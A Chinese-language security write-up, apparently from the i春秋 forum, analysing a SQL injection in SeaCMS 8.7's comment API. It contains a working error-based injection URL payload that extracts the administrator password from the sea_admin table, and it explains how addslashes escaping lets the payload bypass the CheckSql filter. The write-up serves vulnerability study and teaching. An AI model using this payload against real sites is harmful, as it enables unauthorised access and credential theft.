有些小夥伴剛剛接觸SQL編程,對SQL注入表示不太瞭解。其實在Web攻防中,SQL注入就是一個技能繁雜項,為了幫助大家能更好的理解和掌握,今天小編將要跟大家分享一下關於
Seacms 8.7版本SQL注入分析的內容,一定要認真學習哦。0x01環境
Web:phpstudy and MAMP
System:Windows 7 X64 and MacOS
Browser:Firefox Quantum and Chrome
MySQL:5.5
php:5.4
0x02漏洞詳情
漏洞復現
payload:
<code>http://10.211.55.4/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`/<code>
漏洞分析
之前在MySQL 5.6、5.7上面復現都不成功,因為這兩個版本用extractvalue( )、updatexml( )報錯注入不成功,後來換了系統Linux和Windows還有macOS來測試也是一樣,和PHP、Apache的版本沒有影響,還是MySQL的版本問題,所以大家測試的時候注意一下版本。
漏洞文件是在:comment/api/index.php
<code>session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//緩存第一頁的評論
if($page<2)
{
if(file_exists($jsoncachefile))
{
$json=LoadFile($jsoncachefile);
die($json);
}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
createTextFile($h,$jsoncachefile);
}
die($h);
function ReadData($id,$page){
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
}
function Readmlist($id,$page,$size){
global $dsql,$type,$pCount,$rlist;
$ml=array();
if($id>0)
{
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
$rs = $dsql ->GetOne($sqlCount);
$pCount = ceil($rs['dd']/$size);
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
$dsql->setQuery($sql);
$dsql->Execute('commentmlist');
while($row=$dsql->GetArray('commentmlist'))
{
$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
}
$readmlist=join($ml,",");
return $readmlist;
}
function Readrlist($ids,$page,$size){
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($row=$dsql->GetArray('commentrlist'))
{
$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
$readrlist=join($rl,",");
return $readrlist;
}/<code>
傳入$rlist的值為我們構造的SQL語句:
<code>@`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`'`/<code>
通過ReadData函數,implode處理後傳入Readrlist函數。
可以看到執行的SQL語句是:
它在$dsql->Execute('commentrlist');這句的時候會有一個SQL的安全檢測。
文件在include/sql.class.php的CheckSql函數
<code>//完整的SQL檢查
while (true)
{
$pos = strpos($db_string, '\\'', $pos + 1);
if ($pos === false)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (true)
{
$pos1 = strpos($db_string, '\\'', $pos + 1);
$pos2 = strpos($db_string, '\\\\', $pos + 1);
if ($pos1 === false)
{
break;
}
elseif ($pos2 == false || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\\s+~s' ), array(' '), $clean)));/<code>
可以看到這裡沒有把我們的報錯函數部分代入進去,如果代入進去檢測的話就會在這裡檢測到:
後面$clean就是要送去檢測的函數,通過一番處理後得到的值為:
後面返回來執行的SQL語句還是原樣沒動
以上基本分析就完成了。
最終執行的語句:
<code>SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@`\\'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`\\'`) ORDER BY id DESC/<code>
還有一些問題就是構造語句的問題。
剛開始傳入的%27後面怎麼變成了轉義後的單引號?
require_once("../../include/common.php");就包含了這個文件,裡面有一個_RunMagicQuotes函數,如果PHP配置沒有開啟get_magic_quotes_gpc就會用到這個函數,這個函數是把值經過addslashes函數的處理。此函數的作用是為所有的 ' (單引號), \" (雙引號), \\ (反斜線) and 空字符和以會自動轉為含有反斜線的轉義字符。
所以後面的SQL語句就會加上轉義符號,然後經過CheckSql函數的時候就繞過了對報錯語句的檢測。
<code>function _RunMagicQuotes(&$svar){
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}/<code>
為什麼要加上``兩個反引號和@?
因in在MySQL裡面用法是:
value1必須是一個值,整數型或者文本型都可以,如果用單引號的話就會變成三個轉義\\'\\'\\'
在MySQL上面是作為一個轉義符號來使用,一般為了不讓和系統的變量衝突所以使用,一般在數據庫名、表名、字段名使用,所以這裡用@來使這個成為一個變量類型。
後記
在6.53的版本中include/common.php中的44-47行接收到變量:
<code>foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}/<code>
但是在75行這裡又重新賦值了:
<code>require_once(sea_DATA."/config.cache.inc.php");/<code>
以上是今天的全部內容,大家學會了嗎?
閱讀更多 i春秋論壇 的文章